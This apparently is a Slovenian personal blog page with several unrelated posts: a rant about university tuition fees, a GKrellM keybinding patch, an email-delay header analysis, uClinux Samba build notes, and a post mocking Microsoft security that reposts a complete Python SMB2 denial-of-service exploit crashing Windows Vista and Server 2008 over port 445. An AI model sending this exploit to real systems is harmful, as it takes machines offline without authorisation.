Another day in a geek’s life

Take stvari ponavadi mečem na spam-blog, ampak tale se mi je zdela potrebna ranta

Na strani student-info, se je pojavil članek o šolninah. Seveda človek ob naslovu pričakuje ‘klasične’ argumente, tipa: “študirali bodo samo bogati”, oz. “revni bodo ostali neizobraženi, oz, še naprej revni” ipd… A v tem članku je napisano drugače… vsega sicer nima smisla komentirati, ker me je posebej zmotil le en del, in to tisti, ki opisuje zakaj so šolnine “dobre”:

da citiram:

Ali so šolnine res tako slabe?

Na šolnine večina izmed nas gleda s finančnega vidika. Vendar pa je to le en del pogleda na celotno zadevo. Velikokrat se študentje pritožujejo, da v predavalnicah zmanjka prostora in da morajo med predavanjem zato sedeti na tleh, kar ni posebej priporočljivo za fizično zdravje. Se pa kdo pri tem vpraša, da bi bilo manj študentov v predavalnici, če bi uvedli šolnine? Da bi na predavanja hodili samo tisti, ki jih to resnično zanima, ne pa, ker morajo sedeti tam, kot veleva bolonjski sistem. Verjetno bi se tudi manj študentov vpisovalo na fakulteto zaradi statusa in ugodnosti, ki jim jih prinaša, če bi morali za to nekaj plačati. Kar bi pomenilo manj vpisanih študentov in bi fakultete lahko denar, ki ga dobijo od države bolje razdelile med manjše število uka željih oseb. Verjetno bi se tako našel tudi denar za izboljšanje razmer še posebej pri praktičnih vajah, opremi laboratorijev in tudi tehnični opremi. Največ živcev verjetno gre študentom, ko čakajo na rezultate izpitov. Si kdaj pomislil/-a, da bi bili rezultati prej, če bi bilo manj izpitov za popravit? Do tega bi lahko prišlo, če bi bilo manj študentov na posamezni smeri.

Glavni argument za šolnine, je da bo potem manj študentov?! To da ljudje nekje sedijo na tleh je problem organizacije fakultete, oziroma preveč vpisanih študentov na enem predmetu. In po kateri logiki naj bi to, ali boš ostal, ali ne, odločalo tvoje finančno stanje?  Čemu sploh služijo obvezna predavanja? Kdor noče poslušati, naj ne pride! Zakaj bi nekoga silili da hodi na perdavanja? Tako ali tako na koncu odloča samo izpit. Število prisotnih na predavanjih, pa po drugi strani prinaša tudi feed-back profesorju… vsaj jaz bi se zamislil nad sabo, če bi bil profesor, in če bi na mojih predavanjih, namesto 150, bilo 5 študentov.

Zanimiv je tudi totalno zgrešen stavek:

Kar bi pomenilo manj vpisanih študentov in bi fakultete lahko denar, ki ga dobijo od države bolje razdelile med manjše število uka željih oseb.

Fakultete dobivajo denar od države (več ali manj) ‘po glavi’, torej več študentov = več denarja. Več denarja bi bilo predvsem zaradi šolnin. Seveda kaj bi bilo, če neka “uka-željna” oseba, ne bi imela denarja za šolnino?

Zadnji argument, o čakanju na rezultate izpitov, pa je po moje sploh čisti #fail… Izpit je že odpisan… a je res tako pomembno a ga dobiš čez 3 dni, ali pa čez 5?

Ahja.. edino prednost ki jo jaz osebno vidim v šolninah, je, da bi se študenti bolj “primerno” razporedili po fakultetah. Ker ‘normalen’ posameznik tako ali tako ne bi mogel normalno plačevati šolnin, bi bil odvisen od štipendij (predvsem kadrovskih). In ker podjetja izplačujejo kadrovske štipendije le za poklice, ki jih potrebujejo, bi bilo več študentov na tistih fakultetah, s katerih je potrebno več delovne sile. Torej (trenutno) več naravoslovcev in inženiringa ter manj družboslovja. Je pa res da je nekaj vsaj približno podobnega temu (o slabi porazdelitvi študentov) rekel en izmed ministrov pri neki čisto drugi aferi, in bil seveda izžvižgan

rant rant, šolnine

Pred par dnevi je na slashdotu pojavil topic¹  o Microsoftovih training slajdih, kjer so BestBuy zaposlene izobraževali kok je Win7 “ql”, in kok je Linux “beden”.  Konkreten slajd, ki mi je privlekel pozornost je bil tudi:

Torej… ko pride do kakega grdega b00ga, exploita ipd, so userji “on their own”, če uporabljajo Microsoft priozvode, so pa “safe and secure”…

No in danes mi je @Kostko poslal zanimiv link (click here), kjer se nahaja kratka python skripta, ki na oddaljeni mašini sproži BSOD.  In kako je sedaj z ‘zagarantirano varnostjo’? Citiram:

Vendor contacted, but no patch available for the moment. Close SMB feature and ports, until a patch is provided.

Hmm.. očitno bo najbolje da izklopimo M$ file serverje, zakurimo ogenj in čakamo

In za vsak slučaj, da ne bi exploit kam izginil, dajem kopijo sem:

#!/usr/bin/python
# When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA from socket import socket
from time import sleep
 
host = "IP_ADDR", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
 
)
s = socket()
 
s.connect(host)
s.send(buff)
s.close()

ps:  zadeva se je pojavila tudi na slashdotu (click here)

pps:

(21:19:09) Anze: na zobavniku potrjeno bsod dela na visti
(21:19:12) Anze: win7 je safe <--????
(21:19:16) Anze: win 2k8 pade

geek stuff, rant 0-day, exploit, linux, microsoft, python

Enkrat sem že pisal o seriji Numb3rs in neumnosti v njej, ampak, ker naslednje opažam v vse več serijah, se mi je zdelo vredno narediti še en screenshot.

Ip je eno 32bitno število, ki ga zapišemo kot niz 4ih 8bitnih števil, od katerih lahko vsako zavzema vrednosti med 0 in 255. Sicer verjamem da je pri naključnem izbiranju števil težko zadeti prave vrednosti (približno četrtina jih je pravilnih), a človek bi pričakoval, da bi vsaj tisti, ki dizajnirajo scene (in tudi prikaze na računalniku) vsaj malo poznali računalniška omrežja.

In ja… screenshot… spet Numb3rs S05E23  (pa čeprav sem videl to že marsikje drugje).

geek stuff, rant, spam

To bo še en (tokrat dvovrstični) kratek popravek. Tisti, ki uporabljatte GKrellM in velikokrat uporabljate tudi tipki PageUp in PageDown, ste najbrž opazili, da če je gkrellm (ne da se mi več pisat velkih začetnic) aktivno okno, da PageUp/Down spremeni temo. Če imaš nastavljeno kako invisible (beri prozorno) temo, se sprememba teme zelo pozna, in je precej moteča. Ker pa so bližnjice hardcodeane v program, se tega ne da spremeniti na enostaven način… zato bomo malo popravljali source.

Ko razpakiraš .tar.bz2 arhiv, se v mapi “src” nahaja datoteka “gui.c“. Malo za 2440. vrstico se nahaja naslednja funkcija:

static GtkItemFactoryEntry      menu_items[] =
        {
{"/-",                             NULL,        NULL,                                   0, ""},
{N_("/Configuration"), "F1",    create_config_window,   0, ""},
{N_("/Theme/Prev"), "Page_Up",  cb_load_theme,  THEME_ALT_PREV, ""},
{N_("/Theme/Next"), "Page_Down", cb_load_theme, THEME_ALT_NEXT, ""},
{"/-",                             NULL,        NULL,                                   0, ""},
{N_("/Quit"),              NULL,        gtk_main_quit,                  0, ""},
{"/-",                             NULL,        NULL,                                   0, ""},
        };

Vse kar je treba, je popraviti ta “Page_Up” v ” “<shift>Page_Up”, in isto  “Page_Down”  v “<shift>Page_Down”

Patch bi torej izgledal približno takole:

diff -Naur gkrellm-2.3.0/src/gui.c gkrellm-2.3.0-mlz/src/gui.c
--- gkrellm-2.3.1/src/gui.c     2007-07-20 18:47:32.000000000 +0200
+++ gkrellm-2.3.1-mlz/src/gui.c 2008-01-14 11:28:22.000000000 +0100
@@ -2441,8 +2441,8 @@
        {
 {"/-",                            NULL,        NULL,                                   0, ""},
 {N_("/Configuration"), "F1",   create_config_window,   0, ""},
-{N_("/Theme/Prev"), "Page_Up", cb_load_theme,  THEME_ALT_PREV, ""},
-{N_("/Theme/Next"), "Page_Down", cb_load_theme,        THEME_ALT_NEXT, ""},
+{N_("/Theme/Prev"), "<shift>Page_Up",  cb_load_theme,  THEME_ALT_PREV, ""},
+{N_("/Theme/Next"), "<shift>Page_Down", cb_load_theme, THEME_ALT_NEXT, ""},
 {"/-",                            NULL,        NULL,                                   0, ""},
 {N_("/Quit"),             NULL,        gtk_main_quit,                  0, ""},
 {"/-",                            NULL,        NULL,                                   0, ""},

Sledi še kompajlanje (oz. za gentoojevce nov ebuild z vključenim patchem, in lahko brez skrbi pritiskate PageUp in PageDown, ne da bi skrbeli da se bo tema spremenila

ps: vem da se komu zdi čudno da me take malenkosti motijo, sam me.. žal..

geek stuff, rant c, gkrellm, patch

Danes (ker se meni dan ‘zamenja’ ko/če grem spat, to pomeni v soboto), sem dobil mail, poslan v četrtek(!).  Problem je, ker se mi to z mojim @email.si email accountom dogaja precej pogosto¹  (in ker nekateri še vedno pošiljajo na ta naslov, se tudi naslova ne morem kar tako lahko znebiti).

Relevanten del iz message source-a:

Received: from mx5.email.si ([81.24.97.24])
	 by jack.email.si (Cyrus v2.3.8-Invoca-RPM-2.3.8-7) with LMTPA;
	 Sat, 31 Jan 2009 17:37:44 +0100
X-Sieve: CMU Sieve 2.3
Received: from mordox.kud-fp.si (mordox.ljudmila.org [193.2.132.34])
	by mx5.email.si (Postfix) with ESMTP id 0A39C39B6DC
	for <[cenzura]@email.si>; Sat, 31 Jan 2009 15:57:14 +0100 (CET)
Received: from localhost (localhost [127.0.0.1])
	by mordox.kud-fp.si (Postfix) with ESMTP id 996994DD6C
	for <[cenzura]@email.si>; Thu, 29 Jan 2009 20:37:23 +0100 (CET)

Jap…, dva dni… in še +dve uri na email.si

Če bi bil email poslan po navadni pošti, bi prišel že v soboto zjutraj… torej v tem primeru je navadna pošta res hitrejša od emaila… žalostno.

rant email, email.si

Danes je 1.1. 2009, ura je skoraj 6.00 zjutraj in končno se je skompajlala samba

Kaj je bilo potrebno za to narest?

• SSL – V samem uClinux-dist-u obstaja možnost da med konfiguracijo izbereš da bi rad imel tudi ssl…. A tako kot v prešnji (in naslednji) verziji mapa openssl kaže na libssl mapo, a le-ta je prazna.  V to mapo treba skopirat source za openssl-0.9.8c, in popatchat z patchi, ki se nahajajo na arhivu neke neuradne mailing liste¹. Potem treba v konfiguraciji vklopiti libssl in z malo sreče se zadeva (ssl) skompajla.
• Potem pa vključimo še podporo za sambo… vtipkaš ‘make’ čakaš, čakaš, čakaš… po tem ko je kernel, busybox in še kaj zraven skompajlanega, configure skripta od automake ugotovi da c compilerne zna sproducirati binaryja. Očitno arm-linux-gcc sprejema druge ‘ukaze’ kot 1686-pc-linux-gnu-gcc, skripta tega ne ve, in prijavi napako.
  V “uClinux-dist/user/samba/source” se nahaja file “configure“, v katerem se okoli 2900-e vrstice nahaja nek malo večji if stavek, katerega ‘else’ nastavi spremenljivko “ac_file=”“, torej na ‘prazno’. torej takoj za tem elseom (in seveda “fi”-jem) treba napisat ” ac_file=’a.out’ “. To naj bi popravilo zadevo… a je očitno ne… Tukaj je potem potreben še precej grd hack: nekaj vrstic nižje (L2927) se v čudno razvrščenih oklepajih nahajata dva “exit 77;“. Namesto exita sem tu napisal “echo ‘bla’; “²
• Spet kompajlaš… in zadeva crkne pri kompajlanju “libaddns” (del sambe).  Bla bla… grd error.. nekaj narobe v “../include/talloc.h”. Potem sem pogledal v uClinux-dist tanov (torej 2008, za katerega še ni EmbeddedArtists patchev), in videl da tam tega fajla sploh ni, ker se en podoben nahaja v “../lib/talloc/talloc.h“, zato sem prvega (iz mape “include”) izbrisal.  (Preden sem to ugotovil sem poskušal tudi z prepisom “libaddns” mape z vsebino iz novejšega uCdist-a, a mislim da to ni uplivalo na nič, ker mislim da je libaddns ostal nespremenjen).

Samba se po tem avtomagično skompajla, in romfs iz 3.5mb naraste na 8.1mb. Pri poskusu boota z sd kartice (ker ima nand_boot še večje probleme.. o tem kdaj drugič) pa zadeva poklekne pod velikostjo. Tako da bom sedaj (torej po tem ko grem spat, se zbudim, in ko se stemni), poskušal vse skupaj zakrpati še z gršim hackom *evil look*
Ravnokar se kompajla image brez sambe z “chroot”-om, image s sambo pa se nahaja na usb ključku, kmalu se pa bo na sd_micro/tf kartici

Če mi uspe, bom napisal… če ne.. back to the drawing board!

ps: nevem če sem že pisal o tem, ampak ta plošča ma eno precej zanimivo (pa čeprav slabo) lastnost. Ker se na začetku pomnilnik nahaja boot loader, ki je lokacijsko 8v spominu) ločen od slike kernela in romfsja, bi človek pričakoval da je tudi njegovo delovanje ‘ločeno’ od ostanka podatkov na čipu… A žal ni tako. Funkcija mmc_init, ki inicializira sd/mmc kartico, dela SAMO, če je na čipu _delujoč_ sistem… Torej, po tem ko se ni hotlo zbootat z 8mb velkim romfsjem s sambo (pa čeprav je sam kernel ostal isti kot prej), noče več incializirat sd kartice, tako da je za upload slike potrebno uporabiti ymodem protokol prek minicoma na borih 38.400bps. It feels like being on dialup again

elektro stuff, faks, geek stuff, rant arm, minicom, mmc, projekt, pstk, samba, sd, uclinux